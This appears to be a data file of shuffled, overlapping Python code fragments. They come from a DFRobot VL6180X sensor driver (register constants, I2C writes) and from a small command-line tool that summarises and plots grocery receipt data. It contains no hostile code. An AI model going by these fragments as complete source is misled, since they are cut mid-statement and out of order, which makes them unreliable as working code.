"utf-8 -* \"\"\" file DFRobot_VL6180X.py # DFRobot_VL6180X Class infrastructure, implementation of underlying methods",
"3 VL6180X_ALS_GAIN_1_67 = 4 VL6180X_ALS_GAIN_1_25 = 5 VL6180X_ALS_GAIN_1 = 6 VL6180X_ALS_GAIN_40 = 7",
"Set Range Threshold Value @param thresholdL :Lower Threshold @param thresholdH :Upper threshold '''",
"The MIT License (MIT) @author [yangfeng]<<EMAIL>> @version V1.0 @date 2021-02-09 @get from https://www.dfrobot.com",
"modified ''' def set_iic_addr(self,addr): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_I2C_SLAVE_DEVICE_ADDRESS>>8, [self.VL6180X_I2C_SLAVE_DEVICE_ADDRESS,addr]) self.__i2c_addr = addr ''' @brief Initialize the",
"= 0x017 VL6180X_SYSRANGE_START = 0x018 VL6180X_SYSRANGE_THRESH_HIGH = 0x019 VL6180X_SYSRANGE_THRESH_LOW = 0x01A VL6180X_SYSRANGE_INTERMEASUREMENT_PERIOD =",
"@return return ranging data ,uint mm ''' def range_poll_measurement(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8, [self.VL6180X_SYSRANGE_START,0x01]) return self.range_get_measurement()",
"VL6180X_RAW_Range_OVERFLOW_ERR = 0x0D VL6180X_Range_UNDERFLOW_ERR = 0x0E VL6180X_Range_OVERFLOW_ERR = 0x0F # GPIO1 mode selection",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0xb0,0x17]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0xad,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xff,0x05]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0x00,0x05]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0x99,0x05]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0xa6,0x1b]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01,",
"infrastructure, implementation of underlying methods @copyright Copyright (c) 2010 DFRobot Co.Ltd (http://www.dfrobot.com) @licence",
"!= self.VL6180X_ID: return False self.__init() return True ''' @brief Configure the default level",
"the CE @return return True succeed ;return False failed. ''' def begin(self): device_id",
"the ranging @return return status @n 0 �?No threshold events reported @n VL6180X_LEVEL_LOW",
"interrupt ''' def clear_range_interrupt(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CLEAR>>8, [self.VL6180X_SYSTEM_INTERRUPT_CLEAR,1]) ''' @brief Clear the ambient light interrupt"
] |
[
"free of charge, to any person obtaining a copy ## of this software",
"LIMITED TO THE WARRANTIES OF MERCHANTABILITY, ## FITNESS FOR A PARTICULAR PURPOSE AND",
"at 2019-3-25 ## ################################################################### ## The MIT License (MIT) ## ## Permission is",
"LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, ##",
"furnished to do so, subject to the following conditions: ## ## The above",
"in pdata: pdata[name] = dict() pdata[name]['yval'] = list() pdata[name]['xval'] = list() pdata[name]['yval'].append(val) pdata[name]['xval'].append(key)",
"Software is ## furnished to do so, subject to the following conditions: ##",
"str(d.year) + \"-Q\" + str(pd.Timestamp(d).quarter) else: header_key = str(d.year) if(header_key not in summary):",
"r @cli.command('list',help=\"Sum and list items\") @click.pass_context @click.option('--maxcount',default=10,help=\"Number of items to list\") @click.option('--month',is_flag=True,help=\"Sort per",
"#---------------------------------------------------------- #- Command line interface #---------------------------------------------------------- @click.group() @click.argument('data', type=click.Path(exists=True)) @click.option('--json',is_flag=True,help=\"Set JSON as output",
"print(json.dumps(item,indent=4)) if(keyName and key == keyName): key = item['ProductDescription'] elif(keyName): continue if(key in",
"= True, key=lambda x: x[1]) count = 0 for s in listofTuples: if(count",
"def cli(ctx,data,json): ctx.ensure_object(dict) #Load the file r = rema(data) if(json): r.oformat = \"json\"",
"dict() transactions = self.obj[\"TransactionsInfo\"][\"Transactions\"] for t in transactions: for item in t[\"Receipt\"]: groups[item[\"ProductGroupDescription\"]]",
"\"-\" + str(d.month) elif(quarter): header_key = str(d.year) + \"-Q\" + str(pd.Timestamp(d).quarter) else: header_key",
"ARISING FROM, ## OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE",
"as plt import pandas as pd class rema: def __init__(self,file): with open(file,\"r\") as",
"True, key=lambda x: x[1]) count = 0 for s in listofTuples: if(count >=",
"to use, copy, modify, merge, publish, distribute, sublicense, and/or sell ## copies of",
"list() pdata[name]['yval'].append(val) pdata[name]['xval'].append(key) #with plt.xkcd(): for key in pdata: plt.plot(pdata[key]['xval'],pdata[key]['yval'],label=key) plt.xlabel('Date [n]') plt.ylabel(\"Kostnad",
"#with plt.xkcd(): for key in pdata: plt.plot(pdata[key]['xval'],pdata[key]['yval'],label=key) plt.xlabel('Date [n]') plt.ylabel(\"Kostnad [kr]\") plt.legend() plt.xticks(rotation=90)",
"= rema(data) if(json): r.oformat = \"json\" else: r.oformat = \"str\" ctx.obj['rema'] = r",
"INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, ## FITNESS FOR A",
"with open(cat_fn,\"r\") as f: categories = json.load(f) self.categories = categories self.obj = jsonobj",
"of charge, to any person obtaining a copy ## of this software and",
"and/or sell ## copies of the Software, and to permit persons to whom",
"to whom the Software is ## furnished to do so, subject to the",
"DAMAGES OR OTHER ## LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR",
"is None and category: print(\"Could not find categories.json. Can't run this command\") transactions",
"and key in self.categories ): key = self.categories[key] # print(json.dumps(item,indent=4)) if(keyName and key",
"datetime.datetime.now()]) #plt.autoscale() plt.show() def printDictWithTouple(self,data): \"\"\"Print ordered dictionary where each item is a",
"following conditions: ## ## The above copyright notice and this permission notice shall",
"ctx.obj['rema'] = r @cli.command('list',help=\"Sum and list items\") @click.pass_context @click.option('--maxcount',default=10,help=\"Number of items to list\")",
"all ## copies or substantial portions of the Software. ## ## THE SOFTWARE",
"str(pd.Timestamp(d).quarter) else: header_key = str(d.year) if(header_key not in summary): summary[header_key] = dict() for",
"str(d.month) elif(quarter): header_key = str(d.year) + \"-Q\" + str(pd.Timestamp(d).quarter) else: header_key = str(d.year)",
"listofTuples = sorted(transactions.items() ,reverse = True, key=lambda x: x[1]) count = 0 for",
"list of items\"\"\" if(self.oformat == \"json\"): print(json.dumps(data,indent=4)) else: for el in data: print(el)",
"each item is a (number,description) touple\"\"\" if(self.oformat == \"json\"): print(json.dumps(data,indent=4)) else: for key",
"import os import json import sys import collections import datetime import click from",
"if(json): r.oformat = \"json\" else: r.oformat = \"str\" ctx.obj['rema'] = r @cli.command('list',help=\"Sum and",
"to list\") @click.option('--month',is_flag=True,help=\"Sort per month\") @click.option(\"--category\",is_flag=True,help=\"Sort by categories.json file\") @click.option(\"--item\",help=\"Specify a certain group",
"plt.legend() plt.xticks(rotation=90) plt.savefig(\"plot.jpg\") #plt.xlim([datetime.date(2016, 1, 1), datetime.datetime.now()]) #plt.autoscale() plt.show() def printDictWithTouple(self,data): \"\"\"Print ordered",
"\"str\" def printGroups(self): groups = dict() transactions = self.obj[\"TransactionsInfo\"][\"Transactions\"] for t in transactions:",
"= datetime.datetime.utcfromtimestamp(int(datestr[:-3])) if(month): header_key = str(d.year) + \"-\" + str(d.month) elif(quarter): header_key =",
"(number,description) touple\"\"\" pdata = dict() #- Reorganize data for key in data: for",
"import collections import datetime import click from collections import OrderedDict import matplotlib.pyplot as",
"plt.savefig(\"plot.jpg\") #plt.xlim([datetime.date(2016, 1, 1), datetime.datetime.now()]) #plt.autoscale() plt.show() def printDictWithTouple(self,data): \"\"\"Print ordered dictionary where",
"THE ## AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR",
"OR ## IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, ##",
"if(month): header_key = str(d.year) + \"-\" + str(d.month) elif(quarter): header_key = str(d.year) +",
"items\") @click.option('--quarter',is_flag=True,help=\"Sort per quarter\") def group(ctx,maxcount,month,category,item,plot,quarter): ctx.obj['rema'].printOrderByGroupOrCategory(maxcount,month,category,item,plot,quarter) @cli.command('listgroups',help=\"List all groups\") @click.pass_context def listgroups(ctx):",
"self.categories[key] # print(json.dumps(item,indent=4)) if(keyName and key == keyName): key = item['ProductDescription'] elif(keyName): continue",
"cat_fn = \"categories.json\" categories = None if(os.path.exists(cat_fn)): with open(cat_fn,\"r\") as f: categories =",
"item[\"ProductGroupDescription\"] if(category and key in self.categories ): key = self.categories[key] # print(json.dumps(item,indent=4)) if(keyName",
"open(cat_fn,\"r\") as f: categories = json.load(f) self.categories = categories self.obj = jsonobj self.oformat",
"dict() pdata[name]['yval'] = list() pdata[name]['xval'] = list() pdata[name]['yval'].append(val) pdata[name]['xval'].append(key) #with plt.xkcd(): for key",
"CLAIM, DAMAGES OR OTHER ## LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT",
"def printGroups(self): groups = dict() transactions = self.obj[\"TransactionsInfo\"][\"Transactions\"] for t in transactions: for",
"def printOrderByGroupOrCategory(self,maxcount=10,month = False,category=False,keyName=None,plot=False,quarter=False): summary = dict() if self.categories is None and category:",
"else: self.printDictWithTouple(data) def printList(self,data): \"\"\"Print a list of items\"\"\" if(self.oformat == \"json\"): print(json.dumps(data,indent=4))",
"use, copy, modify, merge, publish, distribute, sublicense, and/or sell ## copies of the",
"pdata[name]['yval'].append(val) pdata[name]['xval'].append(key) #with plt.xkcd(): for key in pdata: plt.plot(pdata[key]['xval'],pdata[key]['yval'],label=key) plt.xlabel('Date [n]') plt.ylabel(\"Kostnad [kr]\")",
"to the following conditions: ## ## The above copyright notice and this permission",
"for key in pdata: plt.plot(pdata[key]['xval'],pdata[key]['yval'],label=key) plt.xlabel('Date [n]') plt.ylabel(\"Kostnad [kr]\") plt.legend() plt.xticks(rotation=90) plt.savefig(\"plot.jpg\") #plt.xlim([datetime.date(2016,",
"IN NO EVENT SHALL THE ## AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR",
"WARRANTIES OF MERCHANTABILITY, ## FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO",
"dict() if self.categories is None and category: print(\"Could not find categories.json. Can't run",
"items\") @click.pass_context @click.option('--maxcount',default=10,help=\"Number of items to list\") @click.option('--month',is_flag=True,help=\"Sort per month\") @click.option(\"--category\",is_flag=True,help=\"Sort by categories.json",
"as f: jsonobj = json.load(f) cat_fn = \"categories.json\" categories = None if(os.path.exists(cat_fn)): with",
"@click.pass_context def cli(ctx,data,json): ctx.ensure_object(dict) #Load the file r = rema(data) if(json): r.oformat =",
"permission notice shall be included in all ## copies or substantial portions of",
"+ str(pd.Timestamp(d).quarter) else: header_key = str(d.year) if(header_key not in summary): summary[header_key] = dict()",
"= json.load(f) self.categories = categories self.obj = jsonobj self.oformat = \"str\" def printGroups(self):",
"files (the \"Software\"), to deal ## in the Software without restriction, including without",
"@click.option(\"--category\",is_flag=True,help=\"Sort by categories.json file\") @click.option(\"--item\",help=\"Specify a certain group or category\") @click.option(\"--plot\",is_flag=True,help=\"Plot items\") @click.option('--quarter',is_flag=True,help=\"Sort",
"= json.load(f) cat_fn = \"categories.json\" categories = None if(os.path.exists(cat_fn)): with open(cat_fn,\"r\") as f:",
"= self.obj[\"TransactionsInfo\"][\"Transactions\"] for t in transactions: datestr= str(t[\"PurchaseDate\"]) d = datetime.datetime.utcfromtimestamp(int(datestr[:-3])) if(month): header_key",
"in summary): summary[header_key] = dict() for item in t[\"Receipt\"]: key = item[\"ProductGroupDescription\"] if(category",
"in data: print(str(key) + \":\") for el in data[key]: print(\"\\t%.1f\\t%s\" %(el[0],el[1])) #---------------------------------------------------------- #-",
"printDictWithTouple(self,data): \"\"\"Print ordered dictionary where each item is a (number,description) touple\"\"\" if(self.oformat ==",
"): key = self.categories[key] # print(json.dumps(item,indent=4)) if(keyName and key == keyName): key =",
"## Permission is hereby granted, free of charge, to any person obtaining a",
"item is a (number,description) touple\"\"\" if(self.oformat == \"json\"): print(json.dumps(data,indent=4)) else: for key in",
"def printDictWithTouple(self,data): \"\"\"Print ordered dictionary where each item is a (number,description) touple\"\"\" if(self.oformat",
"a (number,description) touple\"\"\" pdata = dict() #- Reorganize data for key in data:",
"THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE ## SOFTWARE. ##",
"and category: print(\"Could not find categories.json. Can't run this command\") transactions = self.obj[\"TransactionsInfo\"][\"Transactions\"]",
"@click.option('--month',is_flag=True,help=\"Sort per month\") @click.option(\"--category\",is_flag=True,help=\"Sort by categories.json file\") @click.option(\"--item\",help=\"Specify a certain group or category\")",
"## OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR",
"pdata[name]['xval'].append(key) #with plt.xkcd(): for key in pdata: plt.plot(pdata[key]['xval'],pdata[key]['yval'],label=key) plt.xlabel('Date [n]') plt.ylabel(\"Kostnad [kr]\") plt.legend()",
"of the Software, and to permit persons to whom the Software is ##",
"month\") @click.option(\"--category\",is_flag=True,help=\"Sort by categories.json file\") @click.option(\"--item\",help=\"Specify a certain group or category\") @click.option(\"--plot\",is_flag=True,help=\"Plot items\")",
"else: header_key = str(d.year) if(header_key not in summary): summary[header_key] = dict() for item",
"summary[header_key][key] += item[\"Amount\"] else: summary[header_key][key] = item[\"Amount\"] self.printTransactionSummary(summary,maxcount,plot) def printTransactionSummary(self,summary,maxcount,plot): data = OrderedDict()",
"MIT License (MIT) ## ## Permission is hereby granted, free of charge, to",
"header_key = str(d.year) + \"-\" + str(d.month) elif(quarter): header_key = str(d.year) + \"-Q\"",
"in data[key]: print(\"\\t%.1f\\t%s\" %(el[0],el[1])) #---------------------------------------------------------- #- Command line interface #---------------------------------------------------------- @click.group() @click.argument('data', type=click.Path(exists=True))",
"import json import sys import collections import datetime import click from collections import",
"#plt.xlim([datetime.date(2016, 1, 1), datetime.datetime.now()]) #plt.autoscale() plt.show() def printDictWithTouple(self,data): \"\"\"Print ordered dictionary where each",
"keyName): key = item['ProductDescription'] elif(keyName): continue if(key in summary[header_key]): summary[header_key][key] += item[\"Amount\"] else:",
"data[header_key] = list() listofTuples = sorted(transactions.items() ,reverse = True, key=lambda x: x[1]) count",
"certain group or category\") @click.option(\"--plot\",is_flag=True,help=\"Plot items\") @click.option('--quarter',is_flag=True,help=\"Sort per quarter\") def group(ctx,maxcount,month,category,item,plot,quarter): ctx.obj['rema'].printOrderByGroupOrCategory(maxcount,month,category,item,plot,quarter) @cli.command('listgroups',help=\"List",
"do so, subject to the following conditions: ## ## The above copyright notice",
"Copyright (c) 2019 <NAME>, Norway ## ################################################################### ## Created : wulff at 2019-3-25",
"if(self.oformat == \"json\"): print(json.dumps(data,indent=4)) else: for el in data: print(el) def plotDictWithTouple(self,data): \"\"\"Print",
"el[0] name = el[1] if name not in pdata: pdata[name] = dict() pdata[name]['yval']",
"self.categories = categories self.obj = jsonobj self.oformat = \"str\" def printGroups(self): groups =",
"documentation files (the \"Software\"), to deal ## in the Software without restriction, including",
"@click.option('--maxcount',default=10,help=\"Number of items to list\") @click.option('--month',is_flag=True,help=\"Sort per month\") @click.option(\"--category\",is_flag=True,help=\"Sort by categories.json file\") @click.option(\"--item\",help=\"Specify",
"pandas as pd class rema: def __init__(self,file): with open(file,\"r\") as f: jsonobj =",
"transactions = self.obj[\"TransactionsInfo\"][\"Transactions\"] for t in transactions: datestr= str(t[\"PurchaseDate\"]) d = datetime.datetime.utcfromtimestamp(int(datestr[:-3])) if(month):",
"+ \"-Q\" + str(pd.Timestamp(d).quarter) else: header_key = str(d.year) if(header_key not in summary): summary[header_key]",
"ordered dictionary where each item is a (number,description) touple\"\"\" if(self.oformat == \"json\"): print(json.dumps(data,indent=4))",
"= jsonobj self.oformat = \"str\" def printGroups(self): groups = dict() transactions = self.obj[\"TransactionsInfo\"][\"Transactions\"]",
"#---------------------------------------------------------- @click.group() @click.argument('data', type=click.Path(exists=True)) @click.option('--json',is_flag=True,help=\"Set JSON as output format\") @click.pass_context def cli(ctx,data,json): ctx.ensure_object(dict)",
"if name not in pdata: pdata[name] = dict() pdata[name]['yval'] = list() pdata[name]['xval'] =",
"hereby granted, free of charge, to any person obtaining a copy ## of",
"Norway ## ################################################################### ## Created : wulff at 2019-3-25 ## ################################################################### ## The",
"distribute, sublicense, and/or sell ## copies of the Software, and to permit persons",
"r.oformat = \"json\" else: r.oformat = \"str\" ctx.obj['rema'] = r @cli.command('list',help=\"Sum and list",
"categories.json file\") @click.option(\"--item\",help=\"Specify a certain group or category\") @click.option(\"--plot\",is_flag=True,help=\"Plot items\") @click.option('--quarter',is_flag=True,help=\"Sort per quarter\")",
"License (MIT) ## ## Permission is hereby granted, free of charge, to any",
"not in pdata: pdata[name] = dict() pdata[name]['yval'] = list() pdata[name]['xval'] = list() pdata[name]['yval'].append(val)",
"= self.obj[\"TransactionsInfo\"][\"Transactions\"] for t in transactions: for item in t[\"Receipt\"]: groups[item[\"ProductGroupDescription\"]] = \"",
"jsonobj = json.load(f) cat_fn = \"categories.json\" categories = None if(os.path.exists(cat_fn)): with open(cat_fn,\"r\") as",
"item['ProductDescription'] elif(keyName): continue if(key in summary[header_key]): summary[header_key][key] += item[\"Amount\"] else: summary[header_key][key] = item[\"Amount\"]",
"[n]') plt.ylabel(\"Kostnad [kr]\") plt.legend() plt.xticks(rotation=90) plt.savefig(\"plot.jpg\") #plt.xlim([datetime.date(2016, 1, 1), datetime.datetime.now()]) #plt.autoscale() plt.show() def",
"KIND, EXPRESS OR ## IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF",
"from collections import OrderedDict import matplotlib.pyplot as plt import pandas as pd class",
"as output format\") @click.pass_context def cli(ctx,data,json): ctx.ensure_object(dict) #Load the file r = rema(data)",
"plt import pandas as pd class rema: def __init__(self,file): with open(file,\"r\") as f:",
"BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, ## FITNESS FOR A PARTICULAR",
"elif(keyName): continue if(key in summary[header_key]): summary[header_key][key] += item[\"Amount\"] else: summary[header_key][key] = item[\"Amount\"] self.printTransactionSummary(summary,maxcount,plot)",
"= self.categories[key] # print(json.dumps(item,indent=4)) if(keyName and key == keyName): key = item['ProductDescription'] elif(keyName):",
"continue if(key in summary[header_key]): summary[header_key][key] += item[\"Amount\"] else: summary[header_key][key] = item[\"Amount\"] self.printTransactionSummary(summary,maxcount,plot) def",
"OTHER DEALINGS IN THE ## SOFTWARE. ## ###################################################################### import os import json import",
"for t in transactions: for item in t[\"Receipt\"]: groups[item[\"ProductGroupDescription\"]] = \" \" self.printList(groups)",
"@click.pass_context @click.option('--maxcount',default=10,help=\"Number of items to list\") @click.option('--month',is_flag=True,help=\"Sort per month\") @click.option(\"--category\",is_flag=True,help=\"Sort by categories.json file\")",
"quarter\") def group(ctx,maxcount,month,category,item,plot,quarter): ctx.obj['rema'].printOrderByGroupOrCategory(maxcount,month,category,item,plot,quarter) @cli.command('listgroups',help=\"List all groups\") @click.pass_context def listgroups(ctx): ctx.obj['rema'].printGroups() if __name__",
"+= 1 data[header_key].append((s[1],s[0])) if(plot): self.plotDictWithTouple(data) pass else: self.printDictWithTouple(data) def printList(self,data): \"\"\"Print a list",
"each item is a (number,description) touple\"\"\" pdata = dict() #- Reorganize data for",
"plotDictWithTouple(self,data): \"\"\"Print ordered dictionary where each item is a (number,description) touple\"\"\" pdata =",
"if(keyName and key == keyName): key = item['ProductDescription'] elif(keyName): continue if(key in summary[header_key]):",
"maxcount): continue else: count += 1 data[header_key].append((s[1],s[0])) if(plot): self.plotDictWithTouple(data) pass else: self.printDictWithTouple(data) def",
"this command\") transactions = self.obj[\"TransactionsInfo\"][\"Transactions\"] for t in transactions: datestr= str(t[\"PurchaseDate\"]) d =",
"summary[header_key][key] = item[\"Amount\"] self.printTransactionSummary(summary,maxcount,plot) def printTransactionSummary(self,summary,maxcount,plot): data = OrderedDict() for header_key in summary:",
"PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE ## AUTHORS OR COPYRIGHT",
"transactions = summary[header_key] data[header_key] = list() listofTuples = sorted(transactions.items() ,reverse = True, key=lambda",
"= \" \" self.printList(groups) def printOrderByGroupOrCategory(self,maxcount=10,month = False,category=False,keyName=None,plot=False,quarter=False): summary = dict() if self.categories",
"\" self.printList(groups) def printOrderByGroupOrCategory(self,maxcount=10,month = False,category=False,keyName=None,plot=False,quarter=False): summary = dict() if self.categories is None",
"printGroups(self): groups = dict() transactions = self.obj[\"TransactionsInfo\"][\"Transactions\"] for t in transactions: for item",
"OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN",
"run this command\") transactions = self.obj[\"TransactionsInfo\"][\"Transactions\"] for t in transactions: datestr= str(t[\"PurchaseDate\"]) d",
"(c) 2019 <NAME>, Norway ## ################################################################### ## Created : wulff at 2019-3-25 ##",
"else: summary[header_key][key] = item[\"Amount\"] self.printTransactionSummary(summary,maxcount,plot) def printTransactionSummary(self,summary,maxcount,plot): data = OrderedDict() for header_key in",
"print(\"\\t%.1f\\t%s\" %(el[0],el[1])) #---------------------------------------------------------- #- Command line interface #---------------------------------------------------------- @click.group() @click.argument('data', type=click.Path(exists=True)) @click.option('--json',is_flag=True,help=\"Set JSON",
"= item['ProductDescription'] elif(keyName): continue if(key in summary[header_key]): summary[header_key][key] += item[\"Amount\"] else: summary[header_key][key] =",
"count = 0 for s in listofTuples: if(count >= maxcount): continue else: count",
"print(json.dumps(data,indent=4)) else: for key in data: print(str(key) + \":\") for el in data[key]:",
"key = item[\"ProductGroupDescription\"] if(category and key in self.categories ): key = self.categories[key] #",
"== keyName): key = item['ProductDescription'] elif(keyName): continue if(key in summary[header_key]): summary[header_key][key] += item[\"Amount\"]",
"rema(data) if(json): r.oformat = \"json\" else: r.oformat = \"str\" ctx.obj['rema'] = r @cli.command('list',help=\"Sum",
"count += 1 data[header_key].append((s[1],s[0])) if(plot): self.plotDictWithTouple(data) pass else: self.printDictWithTouple(data) def printList(self,data): \"\"\"Print a",
"#- Command line interface #---------------------------------------------------------- @click.group() @click.argument('data', type=click.Path(exists=True)) @click.option('--json',is_flag=True,help=\"Set JSON as output format\")",
"with open(file,\"r\") as f: jsonobj = json.load(f) cat_fn = \"categories.json\" categories = None",
"str(d.year) if(header_key not in summary): summary[header_key] = dict() for item in t[\"Receipt\"]: key",
"be included in all ## copies or substantial portions of the Software. ##",
"self.printList(groups) def printOrderByGroupOrCategory(self,maxcount=10,month = False,category=False,keyName=None,plot=False,quarter=False): summary = dict() if self.categories is None and",
"for el in data: print(el) def plotDictWithTouple(self,data): \"\"\"Print ordered dictionary where each item",
"el in data: print(el) def plotDictWithTouple(self,data): \"\"\"Print ordered dictionary where each item is",
"collections import datetime import click from collections import OrderedDict import matplotlib.pyplot as plt",
"\"-Q\" + str(pd.Timestamp(d).quarter) else: header_key = str(d.year) if(header_key not in summary): summary[header_key] =",
"## in the Software without restriction, including without limitation the rights ## to",
"key=lambda x: x[1]) count = 0 for s in listofTuples: if(count >= maxcount):",
"= dict() #- Reorganize data for key in data: for el in data[key]:",
"el in data[key]: print(\"\\t%.1f\\t%s\" %(el[0],el[1])) #---------------------------------------------------------- #- Command line interface #---------------------------------------------------------- @click.group() @click.argument('data',",
"@cli.command('listgroups',help=\"List all groups\") @click.pass_context def listgroups(ctx): ctx.obj['rema'].printGroups() if __name__ == \"__main__\": cli(obj =",
"dictionary where each item is a (number,description) touple\"\"\" if(self.oformat == \"json\"): print(json.dumps(data,indent=4)) else:",
"AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER ##",
"f: jsonobj = json.load(f) cat_fn = \"categories.json\" categories = None if(os.path.exists(cat_fn)): with open(cat_fn,\"r\")",
"to any person obtaining a copy ## of this software and associated documentation",
"= categories self.obj = jsonobj self.oformat = \"str\" def printGroups(self): groups = dict()",
"\"\"\"Print a list of items\"\"\" if(self.oformat == \"json\"): print(json.dumps(data,indent=4)) else: for el in",
"sublicense, and/or sell ## copies of the Software, and to permit persons to",
"granted, free of charge, to any person obtaining a copy ## of this",
"sell ## copies of the Software, and to permit persons to whom the",
"# print(json.dumps(item,indent=4)) if(keyName and key == keyName): key = item['ProductDescription'] elif(keyName): continue if(key",
"pdata[name]['yval'] = list() pdata[name]['xval'] = list() pdata[name]['yval'].append(val) pdata[name]['xval'].append(key) #with plt.xkcd(): for key in",
"################################################################### ## Created : wulff at 2019-3-25 ## ################################################################### ## The MIT License",
"modify, merge, publish, distribute, sublicense, and/or sell ## copies of the Software, and",
"print(el) def plotDictWithTouple(self,data): \"\"\"Print ordered dictionary where each item is a (number,description) touple\"\"\"",
"import pandas as pd class rema: def __init__(self,file): with open(file,\"r\") as f: jsonobj",
"key in data: print(str(key) + \":\") for el in data[key]: print(\"\\t%.1f\\t%s\" %(el[0],el[1])) #----------------------------------------------------------",
"%(el[0],el[1])) #---------------------------------------------------------- #- Command line interface #---------------------------------------------------------- @click.group() @click.argument('data', type=click.Path(exists=True)) @click.option('--json',is_flag=True,help=\"Set JSON as",
"limitation the rights ## to use, copy, modify, merge, publish, distribute, sublicense, and/or",
"data[header_key].append((s[1],s[0])) if(plot): self.plotDictWithTouple(data) pass else: self.printDictWithTouple(data) def printList(self,data): \"\"\"Print a list of items\"\"\"",
"merge, publish, distribute, sublicense, and/or sell ## copies of the Software, and to",
"plt.xlabel('Date [n]') plt.ylabel(\"Kostnad [kr]\") plt.legend() plt.xticks(rotation=90) plt.savefig(\"plot.jpg\") #plt.xlim([datetime.date(2016, 1, 1), datetime.datetime.now()]) #plt.autoscale() plt.show()",
"if(plot): self.plotDictWithTouple(data) pass else: self.printDictWithTouple(data) def printList(self,data): \"\"\"Print a list of items\"\"\" if(self.oformat",
"in t[\"Receipt\"]: groups[item[\"ProductGroupDescription\"]] = \" \" self.printList(groups) def printOrderByGroupOrCategory(self,maxcount=10,month = False,category=False,keyName=None,plot=False,quarter=False): summary =",
"in transactions: for item in t[\"Receipt\"]: groups[item[\"ProductGroupDescription\"]] = \" \" self.printList(groups) def printOrderByGroupOrCategory(self,maxcount=10,month",
"import sys import collections import datetime import click from collections import OrderedDict import",
"= None if(os.path.exists(cat_fn)): with open(cat_fn,\"r\") as f: categories = json.load(f) self.categories = categories",
"= el[0] name = el[1] if name not in pdata: pdata[name] = dict()",
"(the \"Software\"), to deal ## in the Software without restriction, including without limitation",
"the Software, and to permit persons to whom the Software is ## furnished",
"the Software. ## ## THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF",
"r = rema(data) if(json): r.oformat = \"json\" else: r.oformat = \"str\" ctx.obj['rema'] =",
"to permit persons to whom the Software is ## furnished to do so,",
"Software, and to permit persons to whom the Software is ## furnished to",
"EVENT SHALL THE ## AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,",
"key == keyName): key = item['ProductDescription'] elif(keyName): continue if(key in summary[header_key]): summary[header_key][key] +=",
"obtaining a copy ## of this software and associated documentation files (the \"Software\"),",
"OrderedDict() for header_key in summary: transactions = summary[header_key] data[header_key] = list() listofTuples =",
"Can't run this command\") transactions = self.obj[\"TransactionsInfo\"][\"Transactions\"] for t in transactions: datestr= str(t[\"PurchaseDate\"])",
"categories = None if(os.path.exists(cat_fn)): with open(cat_fn,\"r\") as f: categories = json.load(f) self.categories =",
"def plotDictWithTouple(self,data): \"\"\"Print ordered dictionary where each item is a (number,description) touple\"\"\" pdata",
"by categories.json file\") @click.option(\"--item\",help=\"Specify a certain group or category\") @click.option(\"--plot\",is_flag=True,help=\"Plot items\") @click.option('--quarter',is_flag=True,help=\"Sort per",
"the following conditions: ## ## The above copyright notice and this permission notice",
"command\") transactions = self.obj[\"TransactionsInfo\"][\"Transactions\"] for t in transactions: datestr= str(t[\"PurchaseDate\"]) d = datetime.datetime.utcfromtimestamp(int(datestr[:-3]))",
"## AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER",
"IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, ## OUT OF",
"@click.group() @click.argument('data', type=click.Path(exists=True)) @click.option('--json',is_flag=True,help=\"Set JSON as output format\") @click.pass_context def cli(ctx,data,json): ctx.ensure_object(dict) #Load",
"data: for el in data[key]: val = el[0] name = el[1] if name",
"a certain group or category\") @click.option(\"--plot\",is_flag=True,help=\"Plot items\") @click.option('--quarter',is_flag=True,help=\"Sort per quarter\") def group(ctx,maxcount,month,category,item,plot,quarter): ctx.obj['rema'].printOrderByGroupOrCategory(maxcount,month,category,item,plot,quarter)",
"def __init__(self,file): with open(file,\"r\") as f: jsonobj = json.load(f) cat_fn = \"categories.json\" categories",
"(MIT) ## ## Permission is hereby granted, free of charge, to any person",
"False,category=False,keyName=None,plot=False,quarter=False): summary = dict() if self.categories is None and category: print(\"Could not find",
"val = el[0] name = el[1] if name not in pdata: pdata[name] =",
"pdata[name]['xval'] = list() pdata[name]['yval'].append(val) pdata[name]['xval'].append(key) #with plt.xkcd(): for key in pdata: plt.plot(pdata[key]['xval'],pdata[key]['yval'],label=key) plt.xlabel('Date",
": wulff at 2019-3-25 ## ################################################################### ## The MIT License (MIT) ## ##",
"summary[header_key]): summary[header_key][key] += item[\"Amount\"] else: summary[header_key][key] = item[\"Amount\"] self.printTransactionSummary(summary,maxcount,plot) def printTransactionSummary(self,summary,maxcount,plot): data =",
